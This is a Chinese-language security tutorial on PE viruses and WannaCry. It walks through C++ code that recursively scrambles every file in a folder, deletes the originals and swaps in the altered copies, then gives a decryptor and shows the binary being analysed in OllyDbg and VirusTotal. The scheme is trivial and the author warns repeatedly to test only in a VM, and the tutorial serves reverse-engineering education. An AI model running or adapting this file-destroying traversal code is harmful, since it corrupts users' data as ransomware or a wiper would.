[系統安全] 七.逆向分析之PE病毒原理、C++實現文件加解密及OllyDbg逆向

您可能之前看到過我寫的類似文章,爲什麼還要重複撰寫呢?只是想更好地幫助初學者瞭解病毒逆向分析和系統安全,更加成體系且不破壞之前的系列。因此,我重新開設了這個專欄,準備系統整理和深入學習系統安全、逆向分析和惡意代碼檢測,“系統安全”系列文章會更加聚焦,更加系統,更加深入,也是作者的慢慢成長史。換專業確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什麼程度,漫漫長征路,偏向虎山行。享受過程,一起加油~

系統安全系列作者將深入研究惡意樣本分析、逆向分析、攻防實戰和Windows漏洞利用等,通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步。前文介紹了條件語句和循環語句源碼還原及流程控制逆向。這篇文章將分享勒索病毒,通過編寫程序實現獲取Windows系統目錄文件,並對其進行加密和解密的過程;第二部分詳細講解了OllyDbg和在線沙箱的逆向分析過程。希望對入門的同學有幫助。

話不多說,讓我們開始新的征程吧!您的點贊、評論、收藏將是對我最大的支持,感恩安全路上一路前行,如果有寫得不好的地方,可以聯繫我修改。基礎性文章,希望對您有所幫助,作者的目的是與安全人共同進步,加油!也強烈推薦大家去看看參考文獻的視頻和書籍。

作者的github資源:

前文分析:

聲明:本人堅決反對利用教學方法進行犯罪的行爲,一切犯罪行爲必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家瞭解它們背後的原理,更好地進行防護。


一.PE病毒和WannaCry勒索蠕蟲

1.PE病毒

什麼是PE病毒?
PE病毒是以Windows PE程序爲載體,能寄生於PE文件或Windows系統的病毒程序。PE病毒數量非常之多,包括早起的CIH病毒,全球第一個可以破壞計算機硬件的病毒,它會破壞主辦的BIOS,對其數據進行擦寫修改。再比如熊貓燒香、機器狗等等,其危害非常之大。

在這裏插入圖片描述

什麼叫感染?
說到病毒,不得不提感染。感染是指在儘量不影響目標程序(系統)正常功能的前提下,而使其具有病毒自身的功能。什麼叫病毒自身的功能呢?一個病毒通常包括如下模塊:

  • 感染模塊: 被感人程序同樣具備感染能力
  • 觸發模塊: 在特定條件下實施相應的病毒功能,比如日期、鍵盤輸入等
  • 破壞模塊
  • 其他模塊

CIH病毒
CIH病毒是一種能夠破壞計算機系統硬件的惡性病毒。這個病毒產自TW,原集嘉通訊公司工程師陳盈豪在其於TW大同工學院唸書期間製作。最早隨國際兩大盜版集團販賣的盜版光盤在歐美等地廣泛傳播,隨後進一步通過網絡傳播到全世界各個角落。CIH的載體是一個名爲“ICQ中文Chat模塊”的工具,並以熱門盜版光盤遊戲如“古墓奇兵”或Windows95/98爲媒介,經互聯網各網站互相轉載,使其迅速傳播。目前傳播的主要途徑主要通過Internet和電子郵件,當然隨着時間的推移,其傳播主要仍將通過軟盤或光盤途徑。

CIH病毒曾入榜全球十大計算機病毒之首,該病毒引起了許多重要部門的嚴密關注,其原因不言而喻。如果指揮、通信、政務等系統受到了CIH病毒的威脅甚至破壞,其後果不堪設想。


如果我們要編寫PE病毒,則需要掌握以下的關鍵:

  • 病毒的重定位
  • 獲取API函數地址
  • 文件搜索
  • 內存映射文件
  • 病毒如何感染其他文件
  • 病毒如何返回到Host程序

2.PE病毒的分類

以感染目標進行分類,包括:

(1) 文件感染
將代碼寄生在PE文件,病毒本身只是PE文件的一部分,依賴於感染目標,通常也叫HOST文件,控制權獲得也是以目標程序運行來獲得的。分爲:

  • 傳統感染型:以Win32彙編程序編寫爲主
  • 捆綁釋放型:編寫難度較低,通過高級語言均可編寫,將目標程序和病毒程序捆在一起,和捆綁器有相似之處

(2) 系統感染
將代碼或程序寄生在Windows操作系統,該類病毒越來越多,它不感染具體文件,但是它會在操作系統中保存自己的實體。同時也可以通過系統啓動的方法來獲取控制權。傳播途徑包括:

  • 即時通信軟件,如QQ尾巴
  • U盤、光盤
  • 電子郵件
  • 網絡共享
  • 其他途徑

推薦作者前文:


3.勒索病毒

勒索病毒主要功能是遍歷電腦上所有文件,並且用加密算法加密,然後把加密密鑰發送到自己的郵箱裏,彈出對應的窗口勒索從而解密。典型的是WannaCry病毒,作者在“網絡安全自學篇”中詳細介紹過它的分析過程,也推薦大家去學習。

2017年5月12日,WannaCry蠕蟲通過永恆之藍MS17-010漏洞在全球範圍大爆發,感染大量的計算機。WannaCry勒索病毒全球大爆發,至少150個國家、30萬名用戶中招,造成損失達80億美元,已影響金融、能源、醫療、教育等衆多行業,造成嚴重的危害。

WannaCry是一種“蠕蟲式”勒索病毒軟件,由不法分子利用NSA泄露方程式工具包的危險漏洞“EternalBlue”(永恆之藍)進行傳播。該蠕蟲感染計算機後會向計算機中植入敲詐者病毒,導致電腦大量文件被加密。

WannaCry利用Windows系統的SMB漏洞獲取系統的最高權限,該工具通過惡意代碼掃描開放445端口的Windows系統。被掃描到的Windows系統,只要開機上線,不需要用戶進行任何操作,即可通過共享漏洞上傳WannaCry勒索病毒等惡意程序。

在這裏插入圖片描述

WannaCry利用永恆之藍漏洞進行網絡端口掃描攻擊,目標機器被成功攻陷後會從攻擊機下載WannaCry木馬進行感染,並作爲攻擊機再次掃描互聯網和局域網的其他機器,行成蠕蟲感染大範圍超快速擴散。

木馬母體爲mssecsvc.exe,運行後會掃描隨機IP的互聯網機器,嘗試感染,也會掃描局域網相同網段的機器進行感染傳播,此外會釋放敲詐者程序tasksche.exe,對磁盤文件進行加密勒索。

木馬加密使用AES加密文件,並使用非對稱加密算法RSA 2048加密隨機密鑰,每個文件使用一個隨機密鑰,理論上不可PJ。同時@[email protected]顯示勒索界面。其核心流程如下圖所示:

在這裏插入圖片描述

WannaCry勒索病毒主要行爲是傳播和勒索。

  • 傳播:利用基於445端口的SMB漏洞MS17-010(永恆之藍)進行傳播
  • 勒索:釋放文件,包括加密器、解密器、說明文件、語言文件等;內存加載加密器模塊,加密執行類型文件,全部加密後啓動解密器;解密器啓動後,設置桌面背景顯示勒索信息,彈出窗口顯示付款賬號和勒索信息


二.獲取系統文件及加密處理

前面第一部分簡單普及了病毒和勒索的基本概念,它們都與感染、加密、解密、傳播、勒索等關鍵詞密切相關,接下來我將帶着大家實現最簡單的系統文件加密及解密功能。只有掌握了這些基本知識,才能更好地服務於我們的逆向分析工程。

注意:這裏僅允許大家加密自己電腦的文件夾並且在虛擬機中進行實驗,不要去惡意損壞他人的計算機設備,一切破壞和攻擊行爲後果自負。

假設桌面存在如下圖所示的文件“文件夾加密”,我們需要獲取其信息再進行文件遍歷及加密操作。

  • 操作系統API
  • 加密算法
  • 解密算法

PS:建議大家創建一個新的文件夾,並複製一些無效文件進去測試。

在這裏插入圖片描述

第一步,創建Windows控制檯程序。

在這裏插入圖片描述


第二步,在編寫一個簡單的加密函數前,首先需要創建文件並執行打開、讀寫操作。

#include <stdio.h>

//文件加密函數
void jiami(char* fileName)
{
   
           
	//1.打開文件
	FILE* fp = NULL;                  //文件指針變量
	fp = fopen(fileName, "r+");       //打開可讀寫的文件
	if (NULL == fp) {
   
           
		printf("打開文件失敗\n");
		return;
	}
	printf("打開 %s 文件成功!\n", fileName);

	//2.獲取文件大小

	//3.每隔一個字節插入一個字節數據
	
	//4.保存關閉
}

int main()
{
   
           
	jiami("C:\\Users\\xiuzhang\\Desktop\\文件夾加密\\test.txt");
	return 0;
}

運行結果如下圖所示:

在這裏插入圖片描述

注意,如果提示傳遞參數不兼容需要進行如下設置。

  • 高級字符級處:設置編碼方式爲“使用多直接字符集”
  • C++語言處:設置符合模式爲“否”

在這裏插入圖片描述

同時,如果提示錯誤“error C4996: ‘fopen’: This function or variable may be unsafe. ”,則因爲VS認爲fopen函數是不安全的,需要如下設置:

  • 取消安全開發生命週期SDL檢查設置

在這裏插入圖片描述

在這裏插入圖片描述


第三步,計算文件大小,該文件共35個字節。
基本流程爲:

  • 設置光標(文件內容指針)到文件末尾
  • 計算光標位置距離文件頭字節數
  • 設置光標位置到文件頭

在這裏插入圖片描述

#include <stdio.h>

//文件加密函數
void jiami(char* fileName)
{
   
            
	FILE* fp = NULL;                  //文件指針變量
	int size = 0;                     //文件大小

	//1.打開文件
	fp = fopen(fileName, "r+");       //打開可讀寫的文件
	if (NULL == fp) {
   
            
		printf("打開文件失敗\n");
		return;
	}
	printf("打開 %s 文件成功!\n", fileName);

	//2.獲取文件大小
	fseek(fp, 0, SEEK_END);                   //設置光標到文件末尾
	size = ftell(fp);                         //計算光標位置距離文件頭字節數
	fseek(fp, 0, SEEK_SET);                   //設置光標位置到文件頭
	printf("文件大小爲:%d字節!\n", size);
	
	//3.每隔一個字節插入一個字節數據
	
	//4.保存關閉
}

int main()
{
   
            
	jiami("C:\\Users\\xiuzhang\\Desktop\\文件夾加密\\test.txt");
	return 0;
}

輸出結果如下圖所示:

在這裏插入圖片描述


第四步,循環插入字節實現簡單的加密。
如果我們在進行文件操作時,遇到權限不夠的情況,需要進行相關提權操作,再進行加密處理。核心函數如下:

  • jiami:自定義函數讀取文件,每個一個字符添加一個a,實現文件簡單加密操作
//文件加密函數 參數-文件名字
void jiami(char* fileName)
{
   
             
	FILE* fp = NULL;                  //文件指針變量
	int size = 0;                     //文件大小

	//1.打開文件
	fp = fopen(fileName, "r+");       //打開可讀寫的文件
	if (NULL == fp) {
   
             
		printf("打開文件失敗\n");
		return;
	}
	printf("打開 %s 文件成功!\n", fileName);

	//2.獲取文件大小
	fseek(fp, 0, SEEK_END);                   //設置光標到文件末尾
	size = ftell(fp);                         //計算光標位置距離文件頭字節數
	fseek(fp, 0, SEEK_SET);                   //設置光標位置到文件頭
	printf("文件大小爲:%d字節!\n", size);

	//3.獲取文件所有內容
	char* tmp;
	int read_size;
	tmp = (char*)malloc((size + 1) * sizeof(char));
	read_size = fread(tmp, sizeof(char), size, fp);
	tmp[size] = '\0';
	//printf("讀取字符串爲:%s %d %d\n", tmp, read_size, strlen(tmp));

	//4.每隔一個字節插入一個字節數據
	char ch;
	char code = 'a';
	char* pTxt;
	FILE* fpw = fopen("ddd.txt", "w");                           //寫入文件
	pTxt = (char*)malloc(sizeof(char) * (strlen(tmp) * 2 + 1));

	for (int i = size; i >= 0; i--) {
   
             
		ch = tmp[i];
		if (i != 0) {
   
             
			pTxt[2 * i] = ch;
			pTxt[2 * i - 1] = code;
		}
		else {
   
             
			pTxt[2 * i] = ch;
		}
		//printf("%d %c %c\n", i, ch, pTxt[2 * i - 1]);
	}
	pTxt[size * 2] = '\0';
	printf("操作後字符串:%s %d\n", pTxt, strlen(pTxt));
	fwrite(pTxt, sizeof(char), size * 2, fpw);

	//保存關閉
	fclose(fp);
	fclose(fpw);
	return;
}

運行程序後,我們打開test.txt查看如下,發現一個簡單的加密或擾亂完成,變成了一堆亂碼。當加密函數寫好之後,我們接着需要編寫一個遍歷文件夾的函數,實現對整個目錄進行加密處理。

再次強調:大家只能加密自己電腦的文件夾並且在虛擬機中進行實驗,不要去惡意損壞他人的計算機設備。

在這裏插入圖片描述


第五步,編寫遍歷文件夾函數。
通常遍歷文件夾採用的是遞歸方法,依次遍歷某個目錄的文件夾,深度搜索文件夾中的內容,如果是文件就加密,如果是文件夾就繼續深度搜索,直至找到文件依次返回,從而實現整個目錄的文件遍歷。

//遍歷文件夾找到每個文件 參數-文件夾名字
void findFile(char* pathName)
{
   
              
	/* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */
	//設置要找的文件名 通配符實現
	char findFileName[256];
	memset(findFileName, 0, 256);                   //清空數組
	sprintf(findFileName, "%s\\*.*", pathName);
	printf("要找的文件名是:%s\n", findFileName);
	return;
}

int main()
{
   
              
	//jiami("C:\\Users\\xiuzhang\\Desktop\\文件夾加密\\test.txt");
	//獲取當前文件夾
	char buff[256] = {
   
               0 };
	GetCurrentDirectory(256, buff);
	printf("當前目錄是:%s\n\n", buff);
	return 0;
}

上述代碼通過自定義函數遍歷文件夾,同時調用API函數獲取當前目錄,核心函數爲:

  • GetCurrentDirectory:Windows API獲取當前目錄
  • findFile:自定義函數調用通配符*獲取指定目錄所有文件

輸出結果如下圖所示:

在這裏插入圖片描述


第六步,進一步完善遍歷文件夾遞歸調用函數。

  • 調用FindFirstFile函數獲取目錄下第一個文件
  • 如果找到第一個文件,則循環調用FindNextFile函數獲取下一個文件
  • 如果找到的是文件夾,則拼接新的文件夾路徑繼續遞歸遍歷文件
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>

//遍歷文件夾找到每個文件 參數-文件夾名字
void findFile(char* pathName)
{
   
               
	/* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */

	//1.設置要找的文件名 通配符實現
	char findFileName[256];
	memset(findFileName, 0, 256);                   //清空數組
	sprintf(findFileName, "%s\\*.*", pathName);
	printf("要找的文件名是:%s\n", findFileName);

	//2.獲取目錄下第一個文件
	WIN32_FIND_DATA findData;                    //定義結構體
	HANDLE hFile = FindFirstFile(findFileName, &findData);
	//判斷返回值等於-1(INVALID_HANDLE_VALUE)
	if (INVALID_HANDLE_VALUE == hFile) {
   
               
		printf("查找文件失敗!\n");
		return;
	}
	//如果成功進入死循環繼續查找下一個文件
	else {
   
               
		int ret = 1;
		char temp[256];
		while (ret) {
   
               
			//如果找到的是個文件夾 則需要繼續查找該文件夾內容
			if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
   
               
				//文件夾拼接=原始路徑+新文件夾路徑
				memset(temp, 0, 256);
				sprintf(temp, "%s\\%s", pathName, findData.cFileName);
				printf("找到一個文件夾:%s\n", temp);
				Sleep(1000);                             //暫停1秒鐘
				findFile(temp);
			}
			else {
   
                //如果是文件 則加密文件
				memset(temp, 0, 256);
				sprintf(temp, "%s\\%s", pathName, findData.cFileName);
				printf("找到一個文件:%s\n", temp);

			}
			//查找下一個文件
			ret = FindNextFile(hFile, &findData);
		}
	}
	return;
}

int main()
{
   
               
	//獲取當前文件夾
	char buff[256] = {
   
                0 };
	GetCurrentDirectory(256, buff);
	printf("當前目錄是:%s\n\n", buff);
	findFile(buff);

	return 0;
}

在寫代碼過程中,我們一定要學會邊寫邊調試,或者稱爲打樁輸出,而不是一寫到底最後來慢慢修改。此時運行程序,它輸出遍歷當前目錄的文件夾結果如下圖所示,爲什麼會一直在遞歸呢?

在這裏插入圖片描述

注意這裏的 “.” 代表當前文件夾,所以需要過濾掉該點,否則陷入無限遞歸。

  • findData.cFileName[0] != ‘.’

在這裏插入圖片描述

最終運行結果如下圖所示,將當前文件夾內所有內容顯示出來。

在這裏插入圖片描述

比如Debug文件夾中內容,和我們的獲取結果是一一對應的。

在這裏插入圖片描述


第七步,實現文件加密功能。
作者將文件夾改爲指定的目錄,再次強調虛擬機中運行或者指定某個不重要的文件夾進行測試。具體修改是在findFile函數中增加了jiami函數的調用。

注意: 使用二進制打開可以複製大型文件如.exe文件、音頻視頻文件等,所以文件操作改爲“rb”和“wb”。由於某些文件會很大,我們文件讀寫換了一種操作,按字符讀入及寫入。每一種寫法和優化都是有原因的,這個過程需要你去慢慢琢磨,包括逆向分析也一樣,操作系統或編譯器、惡意代碼爲什麼這麼優化,我們都需要慢慢去分析。

完整代碼如下:

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>

//文件加密函數 參數-文件名字
void jiami(char* fileName, char* pathName)
{
   
                
	FILE* fp = NULL;                  //文件指針變量
	int size = 0;                     //文件大小

	//打開文件
	//注意: 使用二進制打開可以複製大型文件如.exe文件,音頻視頻文件等
	fp = fopen(fileName, "rb");       //打開可讀寫的文件
	if (NULL == fp) {
   
                
		printf("打開文件失敗\n");
		return;
	}
	printf("打開 %s 文件成功!\n", fileName);

	//獲取文件大小
	fseek(fp, 0, SEEK_END);                   //設置光標到文件末尾
	size = ftell(fp);                         //計算光標位置距離文件頭字節數
	fseek(fp, 0, SEEK_SET);                   //設置光標位置到文件頭
	printf("文件大小爲:%d字節!\n", size);

	//獲取文件所有內容
	char code = 'a';
	char ch;
	char temp[256];
	memset(temp, 0, 256);
	sprintf(temp, "%s\\%s", pathName, "test");
	printf("%s\n", temp);

	FILE* fpw = fopen(temp, "wb");         //寫入文件
	while (!feof(fp)) {
   
                 
		ch = fgetc(fp);
		fputc(ch, fpw);
		fputc(code, fpw);
		//printf("%c\n", ch);
	}

	//保存關閉
	fclose(fp);
	fclose(fpw);

	//替換文件
	char commend[1024];
	memset(commend, 0, 1024);
	sprintf(commend, "del \"%s\"", fileName);     //訪問路徑包含空格增加雙引號
	printf("%s\n", commend);
	system(commend);
	rename(temp, fileName);                       //調用C語言rename函數重命名文件
	printf("\n");
	return;
}

//遍歷文件夾找到每個文件 參數-文件夾名字
void findFile(char* pathName)
{
   
                
	/* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */
	//1.設置要找的文件名 通配符實現
	char findFileName[256];
	memset(findFileName, 0, 256);                   //清空數組
	sprintf(findFileName, "%s\\*.*", pathName);
	printf("要找的文件名是:%s\n", findFileName);

	//2.獲取目錄下第一個文件
	WIN32_FIND_DATA findData;                    //定義結構體
	HANDLE hFile = FindFirstFile(findFileName, &findData);
	//判斷返回值等於-1(INVALID_HANDLE_VALUE)
	if (INVALID_HANDLE_VALUE == hFile) {
   
                
		printf("查找文件失敗!\n");
		return;
	}
	//如果成功進入死循環繼續查找下一個文件
	else {
   
                
		int ret = 1;
		char temp[256];
		while (ret) {
   
                
			//如果找到的是個文件夾 則需要繼續查找該文件夾內容
			if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
   
                
				if(findData.cFileName[0] != '.') {
   
                
					//文件夾拼接=原始路徑+新文件夾路徑
					memset(temp, 0, 256);
					sprintf(temp, "%s\\%s", pathName, findData.cFileName);
					printf("找到一個文件夾:%s\n", temp);
					Sleep(1000);                             //暫停1秒鐘
					findFile(temp);
				}
			}
			else {
   
                 //如果是文件 則加密文件
				memset(temp, 0, 256);
				sprintf(temp, "%s\\%s", pathName, findData.cFileName);
				printf("找到一個文件:%s\n", temp);
				//加密文件
				jiami(temp, pathName);
			}
			//查找下一個文件
			ret = FindNextFile(hFile, &findData);
		}
	}
	return;
}

int main()
{
   
                
	char buff[256] = {
   
                 0 };
	GetCurrentDirectory(256, buff);
	printf("當前目錄是:%s\n\n", buff);
	//加密指定文件夾目錄 建議使用虛擬機執行
	findFile("C:\\Users\\xiuzhang\\Desktop\\文件夾加密");

	return 0;
}

最終實現效果如下圖所示:

在這裏插入圖片描述

指定目錄的所有文件已經被加密,圖片已經不能顯示、EXE程序也不能執行。

在這裏插入圖片描述

圖片打開提示“圖片錯誤,無法打開”,EXE程序也無法執行。

在這裏插入圖片描述

在這裏插入圖片描述

接着我們用010editor軟件打開加密文件,具體的內容顯示如下圖所示:

在這裏插入圖片描述

在這裏插入圖片描述

注意,某次執行代碼沒修改加密文件夾,將VS當前目錄全部加密,工程直接奔潰,最終重新創建工程,所以大家僅能試試指定目錄來學習加密和解密原理知識。

在這裏插入圖片描述


第八步,編寫解密功能。
當我們中了勒索病毒,就需要解密,這裏我們簡單給大家編寫一個解密函數。當然,真實環境中,MD5、hash、SHA-1都是比較常用的加密算法。解密文件寫有兩種方法:

  • 全部讀入內存,修改後重新存入文件
  • 邊讀邊寫到另一新建文件,要修改的部分修改後存入新建文件,其他部分原封不動寫入,寫完刪掉原先文件,並將這個新的改爲刪掉那個的名字

這裏由於作者知道加密規則,則進行單個字符奇偶判斷寫入的處理,代碼如下:

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>

//文件加密函數 參數-文件名字
void jiami(char* fileName, char* pathName)
{
   
                 
	FILE* fp = NULL;                  //文件指針變量
	int size = 0;                     //文件大小

	//打開文件
	//注意: 使用二進制打開可以複製大型文件如.exe文件,音頻視頻文件等
	fp = fopen(fileName, "rb");       //打開可讀寫的文件
	if (NULL == fp) {
   
                 
		printf("打開文件失敗\n");
		return;
	}
	printf("打開 %s 文件成功!\n", fileName);

	//獲取文件大小
	fseek(fp, 0, SEEK_END);                   //設置光標到文件末尾
	size = ftell(fp);                         //計算光標位置距離文件頭字節數
	fseek(fp, 0, SEEK_SET);                   //設置光標位置到文件頭
	printf("文件大小爲:%d字節!\n", size);

	//獲取文件所有內容
	char code = 'a';
	char ch;
	char temp[256];
	memset(temp, 0, 256);
	sprintf(temp, "%s\\%s", pathName, "test");
	printf("%s\n", temp);

	FILE* fpw = fopen(temp, "wb");         //寫入文件
	while (!feof(fp)) {
   
                  
		ch = fgetc(fp);
		fputc(ch, fpw);
		fputc(code, fpw);
		//printf("%c\n", ch);
	}
	//保存關閉
	fclose(fp);
	fclose(fpw);

	//替換文件
	char commend[1024];
	memset(commend, 0, 1024);
	sprintf(commend, "del \"%s\"", fileName);     //訪問路徑包含空格增加雙引號
	printf("%s\n", commend);
	system(commend);
	rename(temp, fileName);                       //調用C語言rename函數重命名文件
	printf("\n");
	return;
}

//文件解密函數 參數-文件名字
void jiemi(char* fileName, char* pathName)
{
   
                 
	char ch;
	int size = 0;                        //文件大小
	FILE* fp;                           //打開文件
	FILE* fpw;                           //寫入文件
	char tmp[1024];

	//初始化操作
	memset(tmp, 0, 1024);
	sprintf(tmp, "%s\\tmp", pathName);
	printf("%s\n", tmp);
	fp = fopen(fileName, "rb");
	fpw = fopen(tmp, "wb");
	fseek(fpw, 0, SEEK_SET);             //設置光標位置到文件頭

	//每隔一個字節刪除一個字節數據
	int i = 0;
	while (!feof(fp)) {
   
                 
		ch = fgetc(fp);
		if (0 == (i % 2)) {
   
                  //偶數寫入
			i = 1;
			fputc(ch, fpw);
		}
		else {
   
                 
			i = 0;
			continue;
		}
	}
	fclose(fp);
	fclose(fpw);

	//替換文件
	char commend[1024];
	memset(commend, 0, 1024);
	sprintf(commend, "del \"%s\"", fileName);     //訪問路徑包含空格增加雙引號
	printf("%s\n", commend);
	system(commend);
	rename(tmp, fileName);                       //調用C語言rename函數重命名文件
	printf("\n");
	return;
}

//遍歷文件夾找到每個文件 參數-文件夾名字
void findFile(char* pathName)
{
   
                 
	/* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */
	//1.設置要找的文件名 通配符實現
	char findFileName[256];
	memset(findFileName, 0, 256);                   //清空數組
	sprintf(findFileName, "%s\\*.*", pathName);
	printf("要找的文件名是:%s\n", findFileName);

	//2.獲取目錄下第一個文件
	WIN32_FIND_DATA findData;                    //定義結構體
	HANDLE hFile = FindFirstFile(findFileName, &findData);
	//判斷返回值等於-1(INVALID_HANDLE_VALUE)
	if (INVALID_HANDLE_VALUE == hFile) {
   
                 
		printf("查找文件失敗!\n");
		return;
	}
	//如果成功進入死循環繼續查找下一個文件
	else {
   
                 
		int ret = 1;
		char temp[256];
		while (ret) {
   
                 
			//如果找到的是個文件夾 則需要繼續查找該文件夾內容
			if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
   
                 
				if(findData.cFileName[0] != '.') {
   
                 
					//文件夾拼接=原始路徑+新文件夾路徑
					memset(temp, 0, 256);
					sprintf(temp, "%s\\%s", pathName, findData.cFileName);
					printf("找到一個文件夾:%s\n", temp);
					Sleep(1000);                             //暫停1秒鐘
					findFile(temp);
				}
			}
			else {
   
                  //如果是文件 則加密文件
				memset(temp, 0, 256);
				sprintf(temp, "%s\\%s", pathName, findData.cFileName);
				printf("找到一個文件:%s\n", temp);
				//加密文件
				//jiami(temp, pathName);

				//解密文件
				jiemi(temp, pathName);
			}
			//查找下一個文件
			ret = FindNextFile(hFile, &findData);
		}
	}
	return;
}

int main()
{
   
                 
	char buff[256] = {
   
                  0 };
	GetCurrentDirectory(256, buff);
	printf("當前目錄是:%s\n\n", buff);
	//加密指定文件夾目錄 建議使用虛擬機執行
	findFile("C:\\Users\\xxxxx\\Desktop\\文件夾加密-------------");

	return 0;
}

最終成功還原代碼,圖片和EXE程序又能運行了!

在這裏插入圖片描述

在這裏插入圖片描述

但是遺憾的是,在文本中涉及中文字符,仍然出現了部分亂碼?哈哈!^ _ ^ 大家告訴我怎麼處理呢?感覺需要中文字符兩字節判斷操作,但也不影響這篇文章分享的加密與解密基礎知識。甚至你還可以做一個界面,包含加密按鈕和解密按鈕,融合Hash、MD5各種算法進行相關操作,這裏僅採用命令行的形式告訴大家原理,希望對您有所幫助。

在這裏插入圖片描述

對比下加密文件:

在這裏插入圖片描述



三.OllyDbg和在線沙箱逆向分析

1.OllyDbg分析

接着我們通過OD打開加密的EXE程序,對其進行簡單的逆向分析,顯示如下圖所示。可以看到有很多CC指令,這是VS2019的一些措施,接着我們嘗試簡單分析。

  • 模塊入口點:0x009E13C5

在這裏插入圖片描述


第一步,右鍵選擇“查找”->“當前模塊中的名稱”,我們嘗試查看該EXE執行的函數。

在這裏插入圖片描述

我們可以看到調用的Win32 API函數,如下圖所示,調用FindFirstFileA和FindNextNextA函數,應該是在遍歷文件目錄。同時,包括了文件操作函數fopen、fseek、ftell、memset、fgetc、fputc等。同時包括了一些線程和進程相關的函數。

在這裏插入圖片描述


第二步,選中該函數右鍵點擊“在每個參考上設置斷點”。

在這裏插入圖片描述

接着進入對應斷點位置進行調試,設置斷點函數一般爲文件操作、API操作、數據顯示等。

在這裏插入圖片描述


第三步,另一種方法是選擇“所有模塊間的調用”,查看調用的函數信息。

在這裏插入圖片描述

顯示結果如下圖所示,包括我們使用的FindNextFileA、FindFirstFileA函數,屬於Kernel32中;也有Sleep睡眠函數,以及文件操作fopen、fseek、fgetc等。

在這裏插入圖片描述


第四步,我們選中某個函數右鍵即可設置斷點,比如FindNextFileA和FindFirstFileA函數,接着按下B鍵可以看到已經設置的斷點信息。

在這裏插入圖片描述


第五步,接着選中斷點選擇“反彙編窗口中跟隨”。

在這裏插入圖片描述

可以看到對應斷點FindNextFileA位置,這是逆向分析對指定模塊進行分析的常用方法。

在這裏插入圖片描述

接着按下F9調試程序,然後停在斷點位置,再按下F7進入斷點單步調試惡意樣本的核心模塊,比如該函數獲取的參數即爲“C:\User\xxxxx\Desktop\文件夾加密”,這就看到了打開該文件夾的目錄。

在這裏插入圖片描述

接續調試我們可以看到參數傳遞,字符串拼接、睡眠函數等內容,重點是我們要通過CALL分析進入到加密函數中,然後去分析加密的算法從而實現逆向PJ。

在這裏插入圖片描述

在這裏插入圖片描述

程序運行結果如下圖所示,我們可以結合輸出的結果進行每個功能模塊的分析及逆向。

在這裏插入圖片描述

在這裏插入圖片描述

最終,一個簡單的逆向分析過程講解完畢!最重要的是我們通過自己編寫加密解密算法,然而再對其進行分析,從而加深我們初學者學習逆向的經驗,這裏提出幾個問題供大家和我思考。

  • OD逆向怎麼判斷惡意樣本(PE文件)執行或檢測了哪些文件
  • OD逆向怎麼判斷惡意樣本(PE文件)是否具有註冊表操作、系統進程獲取、屏幕截屏等操作
  • OD逆向怎麼判斷惡意樣本(PE文件)的網絡操作,IP地址、郵箱、域名訪問請求情況
  • OD逆向怎麼判斷惡意樣本(PE文件)是否具有蠕蟲傳播感染功能
  • 怎麼溯源一個惡意樣本


2.在線沙箱分析

在惡意樣本逆向分析中,在線平臺給我們提供了強大支撐,我們拿到一個樣本之後可以先對其進行在線監測。其操作比較簡單,就是將惡意樣本上傳至指定在想網址即可。常見的在線沙箱分析包括:

我們以 virustotal沙箱爲例,打開主頁如稀土所示,點擊“choose file”,上傳我們的勒索exe文件。

在這裏插入圖片描述

結果從72個在線引擎中掃描出4個是惡意樣本的引擎,如下圖所示:

在這裏插入圖片描述

我們可以看到該樣本的基本信息,包括MD5、SHA-1等。

在這裏插入圖片描述

接着是文件歷史信息以及PE文件節點信息。

在這裏插入圖片描述


下面有一個重點,是該文件的導入函數信息,在Imports中顯示,主要包括:

  • KERNEL32.dll
  • VCRUNTIME140D.dll
  • ucrtbased.dll

在這裏插入圖片描述

在這裏插入圖片描述

ucrtbased.dll主要包括的文件操作如下圖所示,比如fopen、fputc、system、rename等函數。

在這裏插入圖片描述

如果該樣本有惡意家族關聯,它也能給出相應的信息。

在這裏插入圖片描述



四.總結

寫到這裏,這篇文章就介紹完畢,希望對您有所幫助,最後進行簡單的總結下。

  • PE病毒和WannaCry勒索蠕蟲
    PE病毒
    PE病毒的分類
    勒索病毒


  • 獲取系統文件及加密處理
  • OllyDbg逆向分析

學安全一年,認識了很多安全大佬和朋友,希望大家一起進步。這篇文章中如果存在一些不足,還請海涵。作者作爲網絡安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行。

作者的github資源:

很多朋友問我如何學逆向分析?
下面給出推薦的學習路線和安全書籍。軟件逆行其實就是搬磚活,你需要的是任性和基本功。可能大佬們會有很多技巧,但我希望你能紮紮實實去躺過那些坑,會看懂代碼,會寫代碼,然後IDA和OD工具(倚天屠龍)用好,每天泡在代碼中,肯定能行的。你應該這樣學習:

  • 1.多敲代碼,重視實戰;
  • 2.程序不是寫出來的,是調出來的;
  • 3.根據自己興趣和市場需求做一定規模的項目。

最後給出了這一年我在網絡安全、系統安全和機器學習看過的書,如果你想把AI更好的融入安全領域,看看這些書籍還是挺不錯,我也厚着臉皮把自己寫的兩本Python數據分析書放了進來,哈哈~

網絡安全:

在這裏插入圖片描述

系統安全:

在這裏插入圖片描述

AI+安全:

在這裏插入圖片描述


編程沒有捷徑,逆向也沒有捷徑,它們都是搬磚活,少琢磨技巧,幹就對了。什麼時候你把攻擊對手按在地上摩擦,你就贏了,也會慢慢形成了自己的安全經驗和技巧。加油吧,少年希望這個路線對你有所幫助,共勉。

